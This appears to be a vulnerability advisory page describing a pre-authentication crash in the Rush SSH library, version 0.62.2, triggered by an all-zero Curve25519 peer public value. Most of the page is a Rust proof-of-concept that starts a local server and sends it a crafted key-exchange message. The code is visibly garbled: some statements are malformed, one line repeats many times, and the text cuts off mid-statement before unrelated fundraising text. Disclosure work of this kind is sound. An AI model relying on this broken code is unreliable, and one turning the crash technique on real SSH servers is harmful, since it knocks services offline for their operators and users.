Pre-auth Remote DoS in Rush SSH via All-zero Curve25519 Peer Public Value

Vulnerability Overview Vulnerability Name: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB) Description: In version 0.62.2, there is a pre-authentication remote Denial of Service (DoS) vulnerability. An unauthenticated client can send a specially crafted message containing an all-zero Curve25519 public key. The server triggers a panic when processing this public key, causing the server to crash. This vulnerability occurs during the Key Exchange (KEX) phase, before host key verification. Scope of Impact Affected Versions: SSH_MSG_KEXINIT offering // curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes. // The server drives the real path server_dh -> compute_exchange_hash -> // encode_mpint and panics. A CONTROL case with a random Q_C completes kex. use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; use byteorder::{BigEndian, ByteOrder}; use rush::server::{self, Handler}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::{TcpListener, TcpStream}; const MSG_KEXINIT: u8 = 20; const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3 const MSG_KEX_ECDH_REPLY: u8 = 31; #[tokio::main] async fn main() { println!("=== rush pre-auth all-zero Curve25519 panic (real rush 0.62.2) ===\n"); let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK").await; println!(); let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await; println!(); println!("=== summary ==="); println!("[ATTACK] (atk_panic={}) (atk_reply {} (Q_C = all-zero))", atk_panic, atk_reply); println!("[CONTROL] (ctl_panic={}) (ctl_reply {} (Q_C = random non-zero))", ctl_panic, ctl_reply); if atk_panic && atk_reply && ctl_panic && ctl_reply { println!("=== CONFIRMED (end-to-end, real rush 0.62.2) ==="); println!("[ATTACK] A single all-zero SSH_MSG_KEX_ECDH_INIT whose Q_C is the 'identity element' makes the real rush server panic!"); println!("[ATTACK] inside encode_mpint (index out of bounds: the len is 32 but the index is 32)"); println!("[ATTACK] during compute_exchange_hash, BEFORE host-key verification."); } else { eprintln!("NOT reproduced"); std::process::exit(1); } } enum QcKind { AllZero, Random } async fn run_case(qc: QcKind, label: &str) -> (bool, bool) { let panicked = Arc::new(AtomicBool::new(false)); { let flag = panicked.clone(); let prev = std::panic::take_hook(); std::panic::set_hook(Box::new(move flag.store(true, Ordering::SeqCst); eprintln!("[{}] server task panicked [{}]", label, info); })); prev(info); } // real rush server, DEFAULT config (curve25519-sha256 in the key list) let mut config = server::Config::default(); config.inactivity_timeout = None; config.auth_rejection_time = std::time::Duration::from_millis(0); config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(0)); config.keys.push( rush::keys::PrivateKey::random(&mut rand::rng()); rush::keys::Algorithm::ED25519.unwrap() ); let config = Arc::new(config); let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let addr = listener.local_addr().unwrap(); let server_task = tokio::spawn(async move { let (socket, _peer) = listener.accept().await.unwrap(); let session = server::run_stream(config, socket, NoopHandler).await.unwrap(); session.await }); // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C) let mut s = TcpStream::connect(addr).await.unwrap(); s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap(); s.flush().await.unwrap(); let _server_id = read_ssh_id(&mut s).await.unwrap(); let _server_kexinit = read_packet(&mut s).await.unwrap(); s.write_all(&[ssh_kexinit_payload_curve25519()]).await.unwrap(); s.flush().await.unwrap(); let q_c: [u8; 32] = match qc { QcKind::AllZero => [0u8; 32], QcKind::Random => { let mut buf: [u8; 32] = rand::random(); if buf.iter().all( buf } }; let mut ecdh_init = Vec::new(); ecdh_init.push(MSG_KEX_ECDH_INIT); ecdh_init.push(MSG_KEX_ECDH_INIT); ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut ecdh_init, 44); // 12x cipher ecdh_init.push_string(&mut

Goal Reached Thanks to every supporter — we hit 100%!

Pre-auth Remote DoS in Rush SSH via All-zero Curve25519 Peer Public Value

More from this source